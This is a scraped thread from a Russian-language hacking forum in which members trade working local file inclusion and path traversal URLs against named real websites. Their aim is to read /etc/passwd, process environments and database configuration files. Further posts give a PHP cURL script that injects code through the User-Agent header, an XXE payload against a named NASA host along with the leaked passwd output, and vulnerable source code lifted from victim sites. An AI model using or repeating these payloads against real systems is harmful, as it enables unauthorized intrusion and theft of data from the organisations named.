PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    У меня не НАСА, конечно, но очень забавляющий меня эффект от инклуда index'а.

    http://test.tools.by/?q=stores&page=index
     
  2. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://www.vigvam.pl/index.php?option=com_jesubmit&view=../../../../../etc/passwd%00
     
  3. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    http://www.itisvinci.com/index.php?file=index.php

    http://www.scholasticorum.mish.uw.edu.pl/index.php?file=php://filter/convert.base64-encode/resource=index.php
     
  4. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    http://aa-fenix.kiev.ua/pages.php?pag=../index
     
  5. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    http://www.ossbenchmarks.com/viewsource.php?file=../../../proc/self/fd/2
     
    1 person likes this.
  6. .Varius

    .Varius Elder - Старейшина

    Joined:
    5 May 2009
    Messages:
    558
    Likes Received:
    289
    Reputations:
    42
    http://gugenplan.spb.ru/cms/statistics.php?action=countries&l=../../../../../../../../../../etc/passwd%00&name=phpcounter&page=0​

    отключаем редирект

    /usr/home/kga/gugenplan/www/cms/phpcounter/defs.php
    PHP:
    @include("langs/en.php");
    @include(
    "langs/$lang.php");
    @include(
    "langs/$_GET[l].php");
    ?>
     
    1 person likes this.
  7. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    http://www.qcivalves.com/index.php?page=/proc/self/environ
     
  8. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Тема стара но имеет место быть...
    Перепробовал уеву тучу путей, кроме этого файла ничего не смог прочитать.
    У кого есть мысли?
     
    _________________________
  9. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    http://www.colibri.ge/display/index.php?z=end&company=hotels/vere/index.php?cat=/proc/self/environ

    На темной фоне нажать Ctrl+A.
     
    1 person likes this.
  10. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    274
    Likes Received:
    65
    Reputations:
    4
    VY_CMa
    Code:
    www.torrentreactor.net/browse.php?id=../../../../../../../../../../../../opt/inweb/sites/torrentreactor/www.torrentreactor.net/avatars/1/4/1/7/1417549.jpg%00
     
  11. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    VY_CMa,
    http://video.antichat.ru/video/16/
     
  12. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    http://itakers.com/index.php?file=../../../proc/self/environ
     
  13. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    PR=2
     
    _________________________
    #1313 VY_CMa, 13 Jun 2012
    Last edited by a moderator: 13 Jun 2012
  14. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://irh.wisc.edu/fellowships.php?menu=../../../etc/passwd
     
    1 person likes this.
  15. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    329
    Likes Received:
    177
    Reputations:
    76
    http://www.coregamers.us/index.php?id=../../../proc/self/environ%00

    Чистая реализация инжекта похапе-кода в хранилище переменных окружения.

    1. Гуглим функции сURL'a.
    2. Пять минут пишем на коленке кулхацкерский скрипт GET-запроса c подменой Юзер-Агента и возвратом ответа.

    PHP:
    <?php
        
        $get 
    curl_init();
        
    curl_setopt($getCURLOPT_URL'http://www.coregamers.us/index.php?id=../../../proc/self/environ%00');
        
    curl_setopt($getCURLOPT_USERAGENT'<?php phpinfo(); ?>');
        
    curl_setopt($getCURLOPT_RETURNTRANSFER1);
        
    $result curl_exec($get);
        
    curl_close($get);
        echo(
    $result);
    ?>
    3. Запускаем
    4. ???
    5. PROFIT!!!

    [​IMG]

    Ну, или подменяем Юзер-Агент "на лету", например Tamper Data'ой.
     
    #1315 Га-Ноцри, 13 Jun 2012
    Last edited: 14 Jun 2012
    2 people like this.
  16. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    http://member.realsexdates.com/clsJSPHP.php?cbr=0&phpinc=../../../../../../etc/passwd
     
  17. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    http://www.horizont.by/index.php?page=../../../../proc/self/cmdline%00
     
    #1317 Pirotexnik, 19 Jun 2012
    Last edited: 19 Jun 2012
  18. mix0x0

    mix0x0 Active Member

    Joined:
    1 Nov 2010
    Messages:
    363
    Likes Received:
    189
    Reputations:
    92
    НЭИС-Телеком Сибирь - Спутниковое телевидение Триколор (надоела их реклама) тИЦ: 80 / PR: 2
    Code:
    http://www.[B]satnsk.ru[/B]/index.php?view=[B]/etc/passwd[/B]
    
     
  19. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Эти ребята ничему не учатся =/

    Ещё 1 XML-Inject на NASA.GOV

    Host = solidearth.jpl.nasa.gov

    Query


    Code:
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE test [ <!ENTITY x3 SYSTEM "[COLOR=Red]/etc/passwd[/COLOR]"> ]>
    <amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx">
      <body>
          <object type="flex.messaging.messages.CommandMessage">
            <traits>
              <string>body</string><string>clientId</string><string>correlationId</string>
              <string>destination</string><string>headers</string><string>messageId</string>
              <string>operation</string><string>timestamp</string><string>timeToLive</string>
            </traits><object><traits />
            </object>
            <null /><string /><string />
            <object>
              <traits>
                <string>DSId</string><string>DSMessagingVersion</string>
              </traits>
              <string>nil</string><int>1</int>
            </object>
            <string>&x3;</string>
      <int>5</int><int>0</int><int>0</int>
      </object>
      </body>
    </amfx>
    Answear:

    Code:
    root:x:0:0:Super-User:/:/sbin/sh 
    daemon:x:1:1::/: bin:x:2:2::/usr/bin:/bin/false 
    sys:x:3:3::/: adm:x:4:4:Admin:/var/adm:/bin/false 
    lp:x:71:8:Line Printer Admin:/usr/spool/lp:/bin/false 
    uucp:x:5:5:uucp Admin:/usr/lib/uucp:/bin/false 
    nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/bin/false 
    smmsp:x:25:25:SendMail Message Submission Program:/:/bin/false 
    isten:x:37:4:Network Admin:/usr/net/nls:/bin/false 
    gdm:x:50:50:GDM Reserved UID:/:/bin/false 
    webservd:x:80:80:WebServer Reserved UID:/opt/home/webservd:/bin/pfsh 
    postgres:x:90:90:PostgreSQL Reserved UID:/:/usr/bin/pfksh 
    svctag:x:95:12:Service Tag UID:/: 
    nobody:x:60001:60001:NFS Anonymous Access User:/:/bin/false 
    noaccess:x:60002:60002:No Access User:/:/bin/false 
    nobody4:x:65534:65534:SunOS 4.x NFS Anonymous 
    Access User:/:/bin/false metrics:x:150:10:System Metrics Account:/opt/metrics:/bin/sh 
    pdiag:x:153:10:Patchdiag Account:/opt/pdiag:/bin/sh 
    sysaudit:x:152:10:System Audit Account:/opt/sysaudit:/bin/sh 
    netiqamc:x:65535:65535::/opt/netiqamc:/bin/sh +@jplit-sa:x:::::: +@web:x:::::: +@ops-level2:x:::::: 
    Ну и вот ещё

    Code:
    _ttp://solidearth.jpl.nasa.gov/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/upload/test.html
    ...если вы понимаете о чём я... =)
     
    _________________________
    3 people like this.
  20. .Varius

    .Varius Elder - Старейшина

    Joined:
    5 May 2009
    Messages:
    558
    Likes Received:
    289
    Reputations:
    42
    Читалка
    /var/www/web4/html/en-relaunch-2008/download.php
    PHP:
    <?PHP

    $download_dir 
    "usr/usr_references/download/";

    $file $download_dir $_GET["imgName"];

    if(
    file_exists($file) && $_GET["imgName"] != "") {

     
    // Header
     
    header("Content-Type: x-type/subtype"); 
     
    header("Content-Length: ".filesize($file)); 
     
    header("Content-Disposition: attachment; filename=" $_GET["imgName"]);

     
    readfile($file);
     
    } else {
     echo 
    "Die Datei '" $_GET["imgName"] . "' existiert nicht.";
    }

    ?>
    данные для подключения к бд
    http://relaunch.falken-europe.com/download.php?imgName=../../../includes/php/ProjectSettingsInc.php

    http://relaunch.falken-europe.com/download.php?imgName=../../../index.php

    скуля
    PHP:
    <?php
     
    /** Set flag that this is a parent file */
     
    define'_VALID_TATW');
     
    /* In der index.php werden alle ben?tigten Module geladen */

     
    include 'includes/php/ProjectSettingsInc.php';
     include 
    'includes/php/ProjectClassesInc.php';

     
    // 1. globale um die tats?chlich anzuzeigEND pID zu speichern
     
    $pageID $_GET["pid"];
     if( 
    $pageID == "")
      
    $pageID "24";

     
    // 2. globale speichert contentXXX.htt und die Ausgabe
     
    $pageOutput "";

     
    // Abfrage Daten aktiver pid
     
    $gRes tATwSYSbase::mySqlQuery "SELECT * FROM " $projektName "_pages WHERE pId = " $pageID ";");
    В админке также еще есть инклуд и возможность залить картинку с кодом

    http://relaunch.falken-europe.com/download.php?imgName=../../../admin/index.php

    PHP:
    /* START Global PHP Modul/usr_include editor. Wird verwendet um Includes im Administrationsmen? zu verankern. */
     
    if($_GET['adminusrincludes'] != "" && $_GET['adminsysincludes'] == "")
     {
      
    $pageOutput $abAP -> getAdminTemplateContent """aModulEdit.htt");
      include 
    "admin_usr_includes/a" $_GET['adminusrincludes'] . "Inc.php";
     }
     elseif( 
    $_GET['adminusrincludes'] == "" && $_GET['adminsysincludes'] != "")
     {
      
    $pageOutput $abAP -> getAdminTemplateContent """aModulEdit.htt");
      include 
    "admin_sys_includes/a" $_GET['adminsysincludes'] . "Inc.php";
     }
     
    /* END Global PHP Modul/usr_include editor */